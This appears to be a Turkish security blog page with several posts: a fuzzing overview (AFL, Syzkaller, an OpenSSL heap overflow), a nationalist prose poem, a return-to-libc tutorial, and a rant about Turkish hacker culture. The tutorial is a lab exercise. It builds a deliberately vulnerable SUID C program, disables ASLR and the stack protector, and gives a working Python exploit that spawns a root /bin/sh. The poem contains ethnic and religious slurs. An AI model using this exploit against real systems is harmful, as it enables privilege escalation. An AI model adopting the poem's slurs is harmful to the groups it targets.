Çarşamba, Ağustos 8

Modern Bir Zafiyetin Anatomisi Vol. I


Son zamanlarda fuzzing project altında piyasaya çıkan yardımcı yazılımların davranışsal hareketlerini kısaca açıklamak istiyorum ve fuzzing project adı altında gerçekleşen uygulamaların sınıflarından bahsetmekte de fayda görüyorum. Öncelikle  Fuzzing: Brute Force Vulnerability Discovery kitabından alıntıyla fuzzing tanımı ve sınıflarını anlamak açısından kısa bir tanım yapalım;
Hedef yazılım üzerinde, girişlere tanımı yapılan belirli karakterler ile birlikte yazılımsal sorunların tespitine biz fuzzing diyoruz lakin son zamanlarda fuzzing project adı altında piyasada bulunan güvenlik araçlarının daha çok mantıksal açıklarla tanışmasıyla birlikte eski method 'stack overflow' benzeri açıkların yerini '
out-of-bounds access, use after free, type confusion, race condition' gibi yüksek derecede öneme sahip açıklar almıştır. 'Smart' ve 'Dumb' dediğimiz iki method türemiştir. Bu yüzden yukarıda belirttiğimiz sınıflara göz atmakta fayda var.
Bu açıklar white,black ve gray box testing olmak üzere 3 sınıf içinde inceleniyor. 

White Box; Kaynak kodları elinde olmakla birlikte 'blind' method olmaksızın yapılan tespitlere verilen ad.
Black Box; Kullanıcı kontrollü kaynak kod olmaksızın ve sadece input üstünde 'blind' method dediğimiz sistemle yapılan tespitlere verilen ad. Buna örnek olarak 'sql injection' denemelerini gösterebiliriz kaynak kod olmaksızın belirlenen karakterle sadece dış odaklı aramalar bu sınıfın tam tanımıdır.
Gray Box; Yukarıda tanımı yapılan her iki test aşamalarının uygulanmasına ise gray box fuzz türü diyebiliriz.


Fuzzing Project adı altında piyasaya sunulan 'Binary' bazlı uygulamalar ile birlikte bir devrim olmuş ve zaman aralığı olarak 2 yılda keşfedilen zafiyet sayısına 1 ay gibi kısa bir sürede ulaşılmıştır. Bu yüzden fuzzing project iyi tanımak, iyi anlamak ve uygulamalar üstünde süreklilik göstermek gerekir.

Linux tabanlı sistemlerde zafiyetlerin nasıl tetikleneceği ve bu zafiyetlerin alt yapısını inceleyeceğiz. Bildiğiniz üzere işletim sistemlerinde eğer bir zafiyet arayacaksanız ve dahi o zafiyeti bulduysanız tetiklemek ve o açıktan faydalanmak için o sistemlerin yapısını iyi bilmeniz gerekmektedir. Son zamanlarda çıkan yardımcı araçlarla beraber sistemlerde zafiyet tespiti, zafiyetin detaylı olarak konsept hali ve zafiyetlerin türleri kolay şekilde belirlenebilmektedir. Bunlara örnek vermek gerekirse eğer; hepimizin bildiği AFL Fuzzing, Honggfuzz, OSS-Fuzz ve piyasanın kernel bazında en iyi projesi olan Syzkaller geliyor bunlar ve bunlara benzer daha bir çok fuzzing projesi mevcut olmakla birlikte bunların yanı sıra; kasan, ktsan, kmsan ve kubsan gibi açık türünün tespitine dair ek yazılımlar geliştirilmiştir. Belirtilen yazılımlarla yüzlerce açık tespit edilmiş ve bunlardan bazıları 'exploit' edilirken bazıları için ise hızlı bir yama prosedürü uygulanmıştır.

Peki bunlar ne gibi açık türleri ve tespitleri nasıl yapılmaktadır ?


Yukarıda şematik olarak gösterilen imaj aslında Linux Kernel fuzzing için kullanılan 'Syzkaller' aracının çalışma methodu. (Bu araç ile bulunan açıklara referanslar listesinden göz gezdirebilirsiniz.)
Syzkaller aslında fuzzing ve sanitizer dediğimiz iki methodun birleşimi ile performans göstermektedir. Sadece kaynak kodlar üzerinde değil, harici bellekler ile özgün çalışmalarda da başarılı bir performans sergileyin syzkaller bu alanda şimdiye kadar geliştirilmiş en başarılı araç olarak görünüyor. USB-Exploitation denildiğinde aklıma gelen ilk makale sanırım bu olacak, çünkü etkili bir fuzzing tekniği ve fiziksel araçların kullanımıyla başarılı bir sonuç elde edilmesi bu alan ile ilgilenen kişiler için yeni fikirler ve keşifler demek olacak. Yazılımları fuzz edebilmek kadar, fuzz edilen yazılımın exploit edilebilmeside aynı ölçüde önem taşımaktadır. Kod blogları arasında bulunan her zafiyetin exploit edilemediğini anlamamız ve idrak etmemiz gerekiyor. Syzkaller ile bulunan zafiyetlerin en iyi şekilde incelenerek pratik olarak anlaşılması gerekmektedir. Size hazır POC sağlamış olması sizin o açığı sömürebileceğiniz anlamına gelmez. Linux Kernel Exploitation için bir çok adım atmanız gerekmektedir, bu adımların başında günbegün eklenen güvenlik önlemlerini aşmanızın yanı sıra o mimariyi iyi ve etkili şekilde kullanmanızda gerekir.


Neden ? Çünkü bir mimarinin nasıl bir algoritmayla çalıştığını anlayamazsanız o mimari ile ilgili fikir yürütemezsiniz. Mesela BSD mimarisinde meydana gelen bir use-after-free açığını UMA mimarisi bilmeden exploit edebilmeniz fazla imkanlı görünmüyor, aynı durum Linux ve Windows mimarilerde geçerli. Bu yüzden öncelikle exploit edeceğiniz açığın türevini, bu açığın etkileşimde olduğu kod bloğunu ve o açık türevini sömürmek için gerekli olan argümanları toplamamız gerekir. Örneğin use-after-free yahut double-free yahut null-pointer açıklarından faydalanabilmek için öncelikle bu açıkların ne işe yaradığını ve zafiyetin nasıl oluştuğunu ve nasıl tetikleneceğini bilmemiz gerekiyor. Mesela; bir use-after-free açığından faydalanmak için yukarıda belirttiğimiz üzere SL(AUO)B memory management mantığını bilmemiz gerekecek. Bunun yanı sıra Heap Spray(Sendmsg Heap Spraying) yöntemini ve SMEP & SMAP gibi güvenlik önlemlerini aşmamız gerekecek tabi bunların ROP yahut JIT gibi yöntemlerle iltisaklı olduğunu unutmamak gerekiyor. Bu yüzden sizin yerinize POC yazacak bir yazılım değil pratik olarak sizin anlayıp uyguladığınız bir yazılıma dönüşmesi gerekmektedir. Sonuçta kodları siz okumuyorsunuz ya da kod bloglarını siz incelemiyorsunuz tek yaptığınız farklı config ayarları ile birlikte belirtilen yazılımı fuzz etmek. Bu konulardan mütevellit bir kaç örnek ile konuyu genişletmekte fayda var, bunlardan birisi Heartbleed zafiyeti. Bu açık son zamanlarda görülmüş en büyük zafiyetlerden birisi olması hasebiyle ve büyük bir etki göstermesiyle adını duyurdu, OpenSSL kütüphanesinde meydana gelen bu açık ile beraber yahoo, flickr ve tumblr gibi birbirine bağlı ünlü siteleri etkilemekle beraber hassas bilgilerinde açığa çıkmasını sağladı. Peki bu açık nasıl keşfedildi ve açık keşfedilirken nelerden faydalanıldı muhakkak merak etmişsinizdir o zaman beraber gözatmakta fayda var. Devami vol. II(Heartbleed açığını detaylı incelemek ve etkilenen siteleri görmek için referans kısmını kontrol edebilirsiniz.)



Yukarıda ki resimde gördüğünüz üzere "selftls" olan bir dosya üstünde fuzzing işlemi gerçekleştiriyoruz. Bu aslında; üretilen sertifikanın handshake dediğimiz yöntemle fuzz edilmesi demektir. Bu bahsettiğimiz üzere bir memory allocator hatasından kaynaklanmaktadır. Bu hatayı detaylı olarak anlamak istiyorsanız My heart is ok, but my eyes are bleeding yazısıyla tam manasıyla vakıf olabilirsiniz. Fuzzing başlattık.



Fuzing başladıktan 21 saat sonrası AFL bir hata ile karşılaştığını belirtti. İşte tam olarak otomasyon mantığıyla çalışan fuzzing yazılımlarının görevi bu oluyor, kodları satır satır okuyan arkadaşlar için bir doğrulama yöntemi olmasının yanında "blind fuzzing" içinde ideal bir araç olmuş oluyor. Bulduğumuz bu 3 açık aslında tam olarak openssl'in "memory allocator" yapısıyla alakalı yani ortaya çıkan açık "heap-based buffer overflow" açığı. Yani siz "ssl" kullanan bir yapıya istek yaptığınızda gönderdiğiniz istek eğer "memory" aşacak bir istekse haliyle hafızada hata üretiyor. Bu gibi hatalar "alloc" edilmiş bir hafızanın taşması sonrası meydana geliyor lakin yukarıda verdiğimiz linkte göreceğiniz üzere "openssl" firması kendi "allocator" yapısını oluşturmuş ve bu yapı baştan sona sağma bir biçimde yazılımla adapte edilmiş gibi duruyor(yeni versiyonlarda rastlayamazsınız).


 Zaman ilerledikçe yapı üstünde ki hatalar artmaya devam ediyor. Bu "openssl allocator" yapısının yazılıma olan etkisi. (Biz burada 512-bit bir fuzz işlemi yapmıştık eğer bunu büyütmek isterseniz özgürsünüz bununla eşdeğer şekilde hızınızın düşeceğinide unutmayınız.) Handshake sırasında meydana gelen hataların çeşitliliği gitgide artıyor, bu "allocator" için sabit bir yapıyla gelen isteklerin 512-bit RSA olması gerektiğini düşünerek bu kadar alana sahip sabit bir alan ayırmasından ve bu alanın fazlasını karşılayamayacak esnek olmayan bir yapıya sahip olmasından kaynaklanıyor.

İlk bölüm burada bitsin, önümüzde ki bölümde açığın detaylı incelenmesi ve exploit edilmesiyle ilgili bir yazı yazacağız.


Referanslar;














Cumartesi, Temmuz 14

Kahramanlık Risalesi



Ezgisi:
Bu başlayıp bitmeyen, bitmedikçe insanı delirten seslerde nedir ? Zemheri bir gece, karanlığa teslim bir akşam yerleri gökleri delen bir ses gittikçe artıyor, arttıkça başka bir hal alıyor cinnet hali. Sağda solda asfaltı ezen bir mekanik sesi, eskilerin bildiği yenilerin ise anlayamadığı bir endişe bu. Bir çığlık yayılıyor, eziyor eziyor eziyor eziyor... ve ansızın yürekleri delen bir ses yankılanıyor taa damarlarında Millet'in... şimdi tam kızıl bir gece, gecede sesi var Ehl-i Salib'in.  Ezildikçe ezilen, sustukça itelenen insanların sessizliği bozulacak bu gece, imana bürünmüş et ve kemiğin demirden filleri ezdiğine şahit olacak bu zemheri gece ve bir Ömer daha gelecek; haksızlığa, zalimliğe karşı bir Ömer daha gelecek bu gece. Kurşunlara göğüs geren iman dolu yürekler tanıyacak bir millet bu gece, hani o kan bu kan diyorlardı ya işte o kan gelecek bu gece. Alçaklara karşı Olçoklar gelecek bu gece, Michael değil Mehmetler, Muhsinler gelecek bu gece, taş ve sopayla demirden yığınları bertaraf eden bir iman gelecek bu gece, asırlardır atalarının destanlarıyla büyüyen ve büyüdükçe dikleşen, dikleştikçe sertleşen bir gençlik bir iman gelecek bu gece, kurşunlara koşa koşa bombalara karşı dimdik bir Millet gelecek bu gece, banka kuyruklarında bekleyenlerin anlayamadığı ve anlayamayacağı bir Millet gelecek bu gece, bu gece filler demir olacak Ebabiller ise iman. Ebabil olup geçecek binbir şekliyle batılın içinden bu gece. Gece uzun, gece sert geçecek bir kahraman çıkıp geceden bir karanlığı nur ile boğacak, nur ile boğulan karanlık zerre olsa yutacak devleri, bir Millet'in zemheri karanlığı boğulacak bu gece. Her gece karabasan gibi basan ve bastıkça alt üst eden karanlıkları ansızın uyanışlar boğacak bu gece.
 
Selalar yükselecek geceye, gecede kurşuni ağır bir renk; kan mı desem, can mı desem... koşarak kurşunlara göğüs gerenlerin davası bu, Çanakkale'de düşmeyenlerin torunlarının avaz avaz tüm gücüyle bilmem kaç yıla karşı duruşu bu. Kurban olacak İsmailler'in, Hakkı arayıp bulan İbrahimler'in, Kuyudaki Yusuflar'ın, bekleyenlerin ve beklenenlerin davası bu. Şimdi geceye zifiri karanlık düşse ne ola ? Kesmeyen bıçağın İsmail'i, yakmayan ateşin İbrahim'i, zifiri karanlık kuyuların Yusuf'u olduktan sonra göğü yırtan ses olsa ne ola ? Durgun sularda çağlayanların, çağ açıp çağ kapatanların torunları olduktan sonra kırgın asırlar ve yoksun yıllar olsa ne ola ? Kaç kere düşüp kalktı deden, sanma ki bir başkasıdır sana bunu eden tam içinden bir hançer sana saplansa ne ola ? Hira'dan gelen bir ses darmadağın edecek olimpos'u, kurt postu giymiş amerikan domuzu olsa ne ola ? Ey goncalanmamış çiçeklere vurup dallarını kıran ayaz, tarih ile bir destanı daha yaz ! Sen yazmazsan yazan kanlar ne ola ? Şimdi sela yükselen geceye, vatan için can veren yiğitlere ve ansızın uykuları kaçıran karanlıklara and olsun, and olsun yükseldikçe yükselene, and olsun imanın nuruyla boğulup harlanan geceye, and olsun nurlu sabahlara....

Şehit Mehmet Ali Kılıç'a ithafen.....

Salı, Mart 1

Return-2-Libc Analiz ve Exploitation

Merhabalar hekır cemaati, teknik konuları işlemeye, gelişmeye ve geliştirmeye devam. Bugünkü mevzumuz uzun zaman önce işlediğimiz "stack buffer oveflow" konusuyla bağdaşan onun bir alt başlığı olan "NX-BIT" bypass.

Peki nedir bu "NX" diye soranları duyuyorum, isterseniz kısaca açıklayalım. Öncelikle Linux sistemlerde çalışma mantığı ve güvenlik konularında kısa bir bilginiz olması açısından ASLR ve SSP araştırmanızı öneriyorum [yakında bunlar hakkında da geniş bir pdf yazacağım] bununla beraber "NX BIT" açıklamak gerekirse şu şekilde anlatabiliriz;

"NX BIT" stack ve heap korumak amaçlı üretilmiş bir savunma sistemi olup stack diye tabir ettiğimiz programlarımızın çalışması için gerekli olan alanların güvenliğini sağlar açıklama ile mütevellit (non eXecutable) açılımı ile; yazarsın, okursun eyvallah ama çalıştırmaya çalışırsın sıkıntı büyük gibi bir açıklama yapabiliriz. Peki nasıl oluyor bu ? Şu şekilde siz bir programı derlediğinizde ki bu "gcc" ile bir "C" kodunu derlediğinizde program otomatik olarak bu önlemleri alıp ve program için ayrılmış olan ve bizimde işlem yapmamızı sağlayan stack'de bir flag eksiltir o da "eXecute" flag'dir. Bunu görsel olarak açıklamak gerekirse;

GNU_STACK SEKMESI RW yani okunabilir ve yazılabilir lakin çalıştırılamaz.(except x)
Yukarıda ki resimde de gördüğünüz üzere stack şu an sadece sadece okunabilir ve yazılabilir durumda bu şartlar altında yapmamız gereken ise Return-2-Libc methodunu uygulamak peki bu method nedir ve ne işe yarar "NX" nasıl bypasslıyor gibi soruları kısaca açıkladıktan sonra detayları internette araştırarak daha fazla bilgi sahibi olmanız dileğiyle unutmadan "NX" yukarıda da bahsettiğimiz üzere memory korumaya çalışan bir kaç kalkan yazılımlarından birisidir bu seri ile beraber hem exploitation mantığı hemde diğer sistemlerin nasıl aşılacağınıda blog ekleyeceğim. Şimdi methodu kısaca açıklayalım ve uzatmadan işlemlere geçelim;


Return-2-Libc mantığı taşıma suyla değirmeni döndürmeye benziyor, okuma ve yazma imkanı olan bir bölüme belirlenen offsetler dahilinde bir taşıma yapılarak Libc üstünde çalıştırma imkanı verildiğinde açık tetiklenmiş ve bu sayede "Privileges" yani account yetki yükseltmiş oluyor. Bu teknikte kısaca bahsedilmesi gereken bir kaç mevzudan da bahsedip sizi yapılanlarla başbaşa bırakmak istiyorum;

Öncelikle yazılımda kullanılan fonksiyonların çağrılmasıyla açık tetiklenir siz kafanıza göre şuradan ben bir printf şuradan bir puts diye açığı çağıramazsınız en nihayetinde yazılımın içinde ki fonksiyonlarla yazılımın stack bir çalışma söz konusu burada yazılımda da kullanılmış lakin protect edilmiş fonksiyonları bir nevi imece usulle çağırarak yazılımda ki açığı tetikliyoruz başlayalım.


/*bof.c*/
#include <stdio.h>
#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char buf[500]; printf("buf = %p\n", buf); strcpy(buf, argv[1]); puts(buf); return 0; }
Yukarıda ki örnek kodumuzu derlemeden önce, blog içinde okumuş arkadaşların bildiği üzere klasik işlemleri yapmamız lazım çünkü yukarıda da belirttiğimiz üzere birden çok güvenlik kalkaı var NX haricindekileri off hale getirip "root" yetkisiyle devam edelim;



$ cat "0" > /proc/sys/kernal/randomize_va_space // ASLR Etkisiz
$ gcc -fno-stack-protector -o bof bof.c
$ sudo chmod u+s bof // SUID 
$ ls -la bof
-rwsr-xr-x 1 root root 7410 bof // read-write-suid-run(rwsr)
Yukarıda ki işlemleri yaptıktan sonra son haliyle stack bri görelim;

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00670 0x00670 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00120 0x00124 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x00058c 0x0804858c 0x0804858c 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1
Yukarıda ki tabloda görüldüğü üzere "readelf -e bof" komutuyla genel olarak bilgileri nerede neyi çalıştıracağımızı ya da çalıştırabileceğimizi yahut okuyabileceğimizi gördük. Stack şu an read-write yani okuma ve yazma modunda lakin yazılanlar çalıştırılamaz.


$ ldd bof
linux-gate.so.1 =>  (0xb7ffe000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e37000)
/lib/ld-linux.so.2 (0x80000000)
Yukarıda ki ldd komutuyla bağımlıklaları ve hangi dosyalara çağrı yapacağını ve ihtiyaç duyduğunu görüyoruz. Görmek durumundayız bağımlıklar ve kütüphaneler üzerinden çağrı yapan fonksiyonların offsetlerini "libc.so.6" dosyası üzerinden ayıklayacağız.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "puts"
 203: 00065650   421 FUNC    GLOBAL DEFAULT   12 _IO_puts@@GLIBC_2.0
 430: 00065650   421 FUNC    WEAK   DEFAULT   12 puts@@GLIBC_2.0
 505: 000f1050  1032 FUNC    GLOBAL DEFAULT   12 putspent@@GLIBC_2.0
 690: 000f2860   497 FUNC    GLOBAL DEFAULT   12 putsgent@@GLIBC_2.10
 1173: 000640a0   325 FUNC    WEAK   DEFAULT   12 fputs@@GLIBC_2.0
 1721: 000640a0   325 FUNC    GLOBAL DEFAULT   12 _IO_fputs@@GLIBC_2.0
 2366: 00069710   151 FUNC    GLOBAL DEFAULT   12 fputs_unlocked@@GLIBC_2.1
Yukarıda görülen "puts" fonksiyonun offset adresi 0x00065650 olarak belirlenmiştir bu adres "NX" protect olduğu için etkisiz haldedir, müdahale edeceğiz.


readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
    243: 00119240    73 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.0
   620: 00040190    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1443: 00040190    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
Yukarıda çağrışımda bulunacağımız "system" fonksiyonunun "0x00040190" adresi belirtilmiştir çağırılan diğer fonksiyonunlar çalıştıracak olan system fonk. adresinide not etmiş bulunuyoruz.



strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$"
   e412 inet6_opt_finish
   f34e _IO_wdefault_finish
   f932 _IO_fflush
  117b5 _IO_file_finish
  11ca3 bdflush
  120e7 tcflush
  12399 _IO_default_finish
 15e0e5 Trailing backslash
 15e5b8 sys/net/ash
 160a24 /bin/sh
 162988 /bin/csh
 1ab831 .gnu.hash
 Belirtilen offset adresi ilede terminale düşeceğiz tam olarak exploit üstünden neler yapmak istediğimizi ve sonrasında kısa bir algoritma ile neler yaptığımzı ve 3 fonksiyonun neyi nasıl çağırdığını görebilirsiniz.


$ gdb-peda$ i proc map // info process map -> uygulamarın çalışma alanı üzerinde ki harita bilgisi
process 7248
Mapped address spaces:
Start Addr   End Addr       Size     Offset objfile
0x8048000  0x8049000     0x1000        0x0 /home/bugger/les/bof
0x8049000  0x804a000     0x1000        0x0 /home/bugger/les/bof
0x804a000  0x804b000     0x1000     0x1000 /home/bugger/les/bof
0xb7e15000 0xb7e16000     0x1000        0x0 
*0xb7e16000 0xb7fbe000   0x1a8000        0x0 /lib/i386-linux-gnu/libc-2.19.so
0xb7fbe000 0xb7fc0000     0x2000   0x1a8000 /lib/i386-linux-gnu/libc-2.19.so
0xb7fc0000 0xb7fc1000     0x1000   0x1aa000 /lib/i386-linux-gnu/libc-2.19.so
0xb7fc1000 0xb7fc4000     0x3000        0x0 
0xb7fd7000 0xb7fda000     0x3000        0x0 
0xb7fda000 0xb7fdc000     0x2000        0x0 [vvar]
0xb7fdc000 0xb7fde000     0x2000        0x0 [vdso]
0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.19.so
0xbffdf000 0xc0000000    0x21000        0x0 [stack]
Son olarak Libc base adress belirlememiz gerekiyor bunun için gdb ile dosyamızı açıyoruz bu alanda kodlar çalışacak belirtilen system+puts /bin/sh. 0xb7e16000 offset.

Hops ! Evet son admları atarken exploitation sekmesine geçebiliriz gerekli offsetler elimizde ve son bir dokunuş kalıyor;



#!/usr/bin/python
import sys
import struct
from subprocess import Popen
bufsize = int(sys.argv[1])
libc_base = int(sys.argv[2], 16)
puts = libc_base + 0x00065650
system = libc_base + 0x00040190
binsh = libc_base + 0x160a24
buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', puts)
buf += struct.pack('<I', system)
buf += struct.pack('<I', binsh)
buf += struct.pack('<I', binsh)
with open('buf', 'wb') as f:
    f.write(buf)
p = Popen(['./bof', buf])
p.wait()
Python scriptimiz burada şimdi devamını görelim;




Woouhaa ! NX-BIT aşıldı ve root ekranına düşüldü işlemler burada biterken bir kaç hatırlatma ve izlenen yolları kullanılan kaynakları özellikle benimde bu yazıda çokca faydalandığım bir kaç kaynağı aşağıda bulabilirsiniz.

Neler Yaptık Böyle ?
Öncelikel belirlenen şartlarda karşımıza çıkan belirli şartlarda oluşturulmuş ve belirli güvenlik kurallarına sahip bir sistem koruyucusunu aştık öncelikle bunu tam manasıyla herkesin anlayacağı bir şekilde yazmaktan fayda var, ikinci olarak bu güvenlik sistemi aşılırken yazıda da ısrarla bahsettiğim gibi imece bir usul izlendi lakin exploitation ve kullanılan bu yol son derece modern şekilde işlendi öncelikle zaafiyet bulunan yazılımın içinde ki fonksiyon tespiti yapıldı ve bu fonksiyon aracılığıyla işlemler ilerletildi.


  1. Yazılım sınandı
  2. Zaafiyet tespiti yapıldı
  3. Gerekli fonksiyonlar elde edildi
  4. Exploit yazıldı
  5. Ve sistemde yetki yükseltilerek sistem ele geçirildi.
Genel olarak herkesin anlayacağı bir dille bu şekilde yollar izlendi elimden geldiği kadar açık bir şekilde basitlendirilmiş şekilde yazmaya çalıştım yinede aklınız bir yerlere takılırsa yorum ile sorularınızı sorabilirsiniz.

Hoşçakalın


Kaynaklar:
https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/

http://inaz2.hatenablog.com/entry/2014/03/24/020347
https://en.wikipedia.org/wiki/NX_bit
https://wiki.gentoo.org/wiki/Hardened/GNU_stack_quickstart
https://www.bpak.org/blog/wp-content/uploads/1/1323932436.pdf


Very Thanks:

Levent Yüksel - Beni Unutma (JoyTurk Akustik)
Levent Yüksel - Med cezir (JoyTurk Akustik)
Levent Yüksel - Karaağaç (JoyTurk Akustik)
Eflatun - Dünyanın Bütün Sabahları (JoyTurk Akustik)
Bulutsuzluk Özlemi & Hakan Aysev - Sözlerimi Geri Alamam (Live)



Çarşamba, Şubat 17

0xa'dan Geri Doğru Say !






/*Sürekli aklımda olan zamanım olsada yazsam dediğim bir yazı.Eleştiri var, özeleştiri var, var oglu var.

Bugün farkettiğim bir durum değil ama yinede bugün bir kez daha geri kalmışlığın, gelişmekte olan bir ülke olamamışlığın[internette] acı yüzüyle karşılaştım.

Ülkede Cristiano Ronaldo'nun ülkesine çağırdığı ablanın kim olduğunu, Dan Bilzerian denen pezevengin[affınıza sığınarak] açık açık zina teklif ettiği kadının mesleğini, hobilerini, kendisini ve dahi O Ses Türkiye birincinin kim olduğunu gayet iyi şekilde biliyorsunuz değil mi ?

Peki yazıya başlığı veren "0xa" ne olduğu konusunda bir fikriniz var mı ? Yahut ileri düzey makaleler bulamadığı için okullarda yarım yamalak öğretilmiş ingilizce ile internette bunun ne olduğun öğrenip daha fazla geliştirmek isteyen insanların olduğu konusunda bir fikriniz var mı ? Peki bunların kim olduğunu biliyor musunuz ? Bilmiyorsunuz !

Aslında bende bu sıralar farkettim. Nasa hekleyen türk hek timin varlığını, anonymous hekleyen ayyıldız timin varlığını vs. peki sizlerde farkettiniz mi ?

Şu yukarıda yazdığım satırların yokluğunda ortaya çıkmış abiler, kardeşler bunlar google'den herkese açık dosyaları bulup biz Nasa hekledik diyenler, biz yurtdışına operasyon[arkadaşlar bordo bereli] yapıyoruz tüm hepsinden intikam alıyoruz diyenler işte bunlar hep bu yoklukta ortaya çıkan insanlar, eğitimsizliğin ve öğrenilecek kaynakların yokluğunda ortaya çıkmış insanlar.

Google aramalarında .doc .pdf bulmayı insanlara hekırlık olarak gösteren insanlar yetiştirdik son 5-6 senedir, nasıl olduysa bir türlü önüne geçilemedi bu furyanın. Kimisi bu furya ile yüzük kitap sattı, kimisi hayal. Eğitimsizliğin bir sebebide bunlar. Medyada tanıdığınız iki tane gazeteci mi var ? O zaman Adwors kuponu gösterip ben google hekledim diyebilirsiniz mesela, yahut Rusya'da binlerce site heklendi diye haber yaptırabilirsiniz kimse bilmez bakkal, manav siteleri hekleyip öteki gün uyanacak adamın "-yav gardaş bizim suçumuz ne?" diyebileceğini yahut televizyonlara çıkıp uçak, helikopter gibi araçlar düşürebilirsiniz kimse size nerede düşürdün, sen efonalti misin ? Uçak savar mısın ? Diye sormayacaktır mesela. Yeter ki tanıdığınız olsun ideolojilerinizde yakınsa sağcı sağ gazetede şahlandırır, solcusu sol gazetede ne ala memleket.

Ülkenin en iyi üniversiteleri polisle çatışma konusunda uzmanlaşıp birbirine molotof yapmayı öğretirken bu ülkede bir cahillik baş gösteriyor. İnsanların arayıpta bulamadığı, bulamadığı için öğrenemediği şeyleri "BİLMİYORUM" diyemediği için insanları zehirlemeyi tercih ediyorlar. Halbuki Benim Ülkem'de hakediyor iyi makalelere sahip olmayı, ileri derecede araştırmalar ile yazılmış programlama dillerinde ki kitapları ama bu ülkede insanlara hayal satmak daha cazip ve olanıklı geldiği için;

"x86-x64 Architecture Reverse Engineering"
"ARM ASM Analyz"
"Linux Kernel Exploitation"
"Stack Buffer Overflow" ~[World Release 1996][TR Respect Enderunix]
"Heap Overflow" ~[ASLR BYPASS, DEP BYPASS, NX BYPASS, PAX]
"Heap Overflow(Malloc Maleficarum)
"Format String Vuln" ~[TR Respect Enderunix]
"ROP ATTACK, SOP ATTACK"
"Use After Free"

Bir çok kişi bilse daha mutlu olabileceği şu ve şuna benzer basit konuları bilemeyecek ne yazık ki. Yahut;
Şurada yazılan ve tarihe geçmiş makalenin http://insecure.org/stf/smashstack.html aslında http://phrack.org/issues/49/14.html aracılığıyla yayınladığını ve 1996 yılında bu çalışmanın yapıldığını isteselerde bilemeyecekler. Okullarımızda verilen zayıf ingilizce ve matematik eğitimi yüzünden ingilizcesi olmadığı için okuyamayacak, matematiği olmadığı için sorun çözme kapasitesini kaybettiği için okuduğu makaleden bir sonuç çıkaramayacaktır ne yazık ki.

Bugün nasayı heklediğini söyleyen arkadaşlardan onlarcası daha gelecek ve abilerinin yaptıkları gibi aynı şeyleri yapıp medyada haber olacaklar, egoları tatmin olacak, komutanları moderatörlük verecek onlara, sosyal medyada google "feys" yazıp giren insanlardan "-helal olsun kardeşim" yazıları okuyup şahlandıracak içinde ki hekırlık duygularını ve polise saldıran, ağaç için ülkeyi karıştıran ülkemin güzide okulunda ki insanlar ise yaptıklarını birer anı olarak saklayıp ileride okullarının getirdiği iyi profiller sayesinde plazalarda çalışıp "kafilerini" yudumlarken pencereden baktıklarında kendilerininde içinde bulunduğu kocaman betonlar görecekler. Ve bizde hala "nasayı" hekleyen, "uçak" düşüren, "adwors" kuponuyla google hekledim diye milleti kandıran andavalların yalanlarıyla uyuşan millete bakıp bir kez daha ve dahi çok kez daha üzüleceğiz. */


Son zamanlarda takım olarak ne yapsak, ne etsekte farklı bir şeyler anlatabilsek diye düşündüğümü doğrudur. Bunun için insanlara programlama dilinde bir tek 2+1 toplamayı öğretmeyi reddettiğimizde doğrudur, farklı şeyler yapıp bir üst basamaklara tırmanmak konusunda ki gayretimizde kişisel değil vatan ve millet sevgisinden kaynaklı olduğuda doğrudur. Elimizden geleni yapmaya çalıştığımız Türkiye'de çok fazla rastlanmayan ya da endüstriyel hale getirilmiş şeyleri free şekilde makale haline dökmeye çalışma çabalarımız her daim sürecek, umut ediyoruz ki
site:nasa.gov ext:pdf araması yapmayı öğrenen arkadaşlardan farklı, "union all select 1,2,3,4#" ile sql çekmekten farklı, "kanka server var mı?" diyen arkadaşlardan farklı, "2.x.x kernel root exploit var mı?" diye çöp forumlarda gezen arkadaşlardan farklı, sosyal medyada sürekli onun bunun yazdığı research konularını retweet eden arkadaşlardan farklı bir nesil yetişecek, umut ediyoruz ve destekliyoruz.

( Ronaldo'nun çağırdığı cansu taşkın, bilzerian'ın çağırdığı nil anka,  o ses türkiye şampiyonu emre sertkaya, Secde ederek şehadete ulaşan Şehit Komiser Umut Tunçay, Kahpece pusu kurularak Şehit edilen ve İdil'de ki operasyona adı verilen Ersin Yıldırım, 53 Yaşında Şehadete kavuşan ve oğlu'nun her saati her günü "- babam gideli şu kadar saat oldu" diyerek saydığı Şehit Osman Yurt, Kürt olan ve kendi isteğiyle teröristlerle çatışmaya gelip kahpece şehit edilen Abdulselam Özatak, kahpece, şerefsizce yapılan saldırıcı sonucu kızıyla beraber şehadet şerbeti içen Şehit Polis Mehmet Şenol Çiftçi ve minik yavrusu Mevlüde İrem Çiftçi. Bunlarıda biliyorsunuz değil mi ?)

*/S.K Ö.K .Y.T A.Ç H.İ /* TG

Cumartesi, Aralık 12

Shellcode Linux - 2

